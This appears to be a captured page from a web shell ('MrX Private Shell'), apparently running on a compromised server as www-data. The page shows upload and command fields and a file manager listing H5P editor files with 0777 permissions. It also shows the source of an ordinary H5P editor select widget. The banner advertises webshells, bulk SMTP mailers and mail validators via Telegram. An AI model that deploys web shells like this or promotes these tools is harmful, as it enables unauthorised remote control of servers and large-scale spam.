__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
/* global ns*/
H5PEditor.widgets.select = H5PEditor.Select = (function (E) {
  /**
   * Initialize a new widget.
   *
   * @param {object} parent
   * @param {object} field
   * @param {object} params
   * @param {function} setValue
   * @returns {_L3.C}
   */
  function C(parent, field, params, setValue) {
    this.field = field;
    this.value = params;
    this.setValue = setValue;

    // Setup event dispatching on change
    this.changes = [];
    this.triggerListeners = function (value) {
      // Run callbacks
      for (var i = 0; i < this.changes.length; i++) {
        this.changes[i](value);
      }
    };
  }

  /**
   * Append widget to the DOM.
   *
   * @param {jQuery} $wrapper
   * @returns {undefined}
   */
  C.prototype.appendTo = function ($wrapper) {
    var that = this;

    this.$item = E.$(this.createHtml()).appendTo($wrapper);
    this.$select = this.$item.find('select');
    this.$errors = this.$item.children('.h5p-errors');

    this.$select.change(function () {
      var val = that.validate();
      if (val !== false) {
        that.value = val;
        that.setValue(that.field, val);
        that.triggerListeners(val);
      }
    });
  };

  /**
   * Generate HTML for the widget.
   *
   * @returns {String} HTML.
   */
  C.prototype.createHtml = function () {
    const id = ns.getNextFieldId(this.field);

    let options = '';
    if (this.field.optional === true || this.field.default === undefined) {
      options = E.createOption('-', '-');
    }
    options += C.createOptionsHtml(this.field.options, this.value);

    let select = '<select id="' + id + '"';
    if (this.field.description !== undefined) {
      select += ' aria-describedby="' + ns.getDescriptionId(id) + '"';
    }
    select += ' class="h5peditor-select">' + options + '</select>';

    return E.createFieldMarkup(this.field, select, id);
  };

  /**
   * Generate HTML for select options.
   *
   * @param {Array} options
   * @param {string} selected value
   * @return {string}
   */
  C.createOptionsHtml = function (options, selected) {
    var html = '';

    for (var i = 0; i < options.length; i++) {
      if (options[i].type === 'optgroup') {
        html += '<optgroup label="' + options[i].label + '" >';
        html += C.createOptionsHtml(options[i].options, selected);
        html += '</optgroup>';
      }
      else {
        html += E.createOption(options[i].value, options[i].label, options[i].value === selected);
      }
    }

    return html;
  };

  /**
   * Validate this field.
   *
   * @returns {Boolean}
   */
  C.prototype.validate = function () {
    var value = this.$select.val();
    if (value === '-') {
      value = undefined; // No value selected
    }

    if (this.field.optional !== true && value === undefined) {
      // Not optional and no value selected, print required error
      this.$errors.append(ns.createError(ns.t('core', 'requiredProperty', {':property': ns.t('core', 'textField')})));

      return false;
    }

    // All valid. Remove old errors
    var $errors = this.$errors.children();
    if ($errors.length) {
      $errors.remove();
    }

    return value;
  };

  /**
   * Remove widget from DOM.
   *
   * @returns {undefined}
   */
  C.prototype.remove = function () {
    this.$item.remove();
  };

  return C;
})(H5PEditor);

Filemanager

Name Type Size Permission Actions
h5p-hub-client.js File 331.61 KB 0777
h5peditor-av.js File 21.51 KB 0777
h5peditor-boolean.js File 1.99 KB 0777
h5peditor-coordinates.js File 5.1 KB 0777
h5peditor-dimensions.js File 4.26 KB 0777
h5peditor-editor.js File 18.25 KB 0777
h5peditor-file-uploader.js File 3.69 KB 0777
h5peditor-file.js File 8.54 KB 0777
h5peditor-form.js File 14 KB 0777
h5peditor-fullscreen-bar.js File 2.7 KB 0777
h5peditor-group.js File 10.74 KB 0777
h5peditor-html.js File 20.01 KB 0777
h5peditor-image-popup.js File 13.91 KB 0777
h5peditor-image.js File 8.1 KB 0777
h5peditor-init.js File 3.72 KB 0777
h5peditor-library-list-cache.js File 3.38 KB 0777
h5peditor-library-selector.js File 9.97 KB 0777
h5peditor-library.js File 16.98 KB 0777
h5peditor-list-editor.js File 24.34 KB 0777
h5peditor-list.js File 11.15 KB 0777
h5peditor-metadata-author-widget.js File 3.91 KB 0777
h5peditor-metadata-changelog-widget.js File 7.5 KB 0777
h5peditor-metadata.js File 14.66 KB 0777
h5peditor-none.js File 918 B 0777
h5peditor-number.js File 4.79 KB 0777
h5peditor-pre-save.js File 3.62 KB 0777
h5peditor-select.js File 3.24 KB 0777
h5peditor-selector-hub.js File 7.76 KB 0777
h5peditor-selector-legacy.js File 3.11 KB 0777
h5peditor-semantic-structure.js File 7.39 KB 0777
h5peditor-text.js File 3.15 KB 0777
h5peditor-textarea.js File 2.68 KB 0777
h5peditor.js File 53.63 KB 0777
Filemanager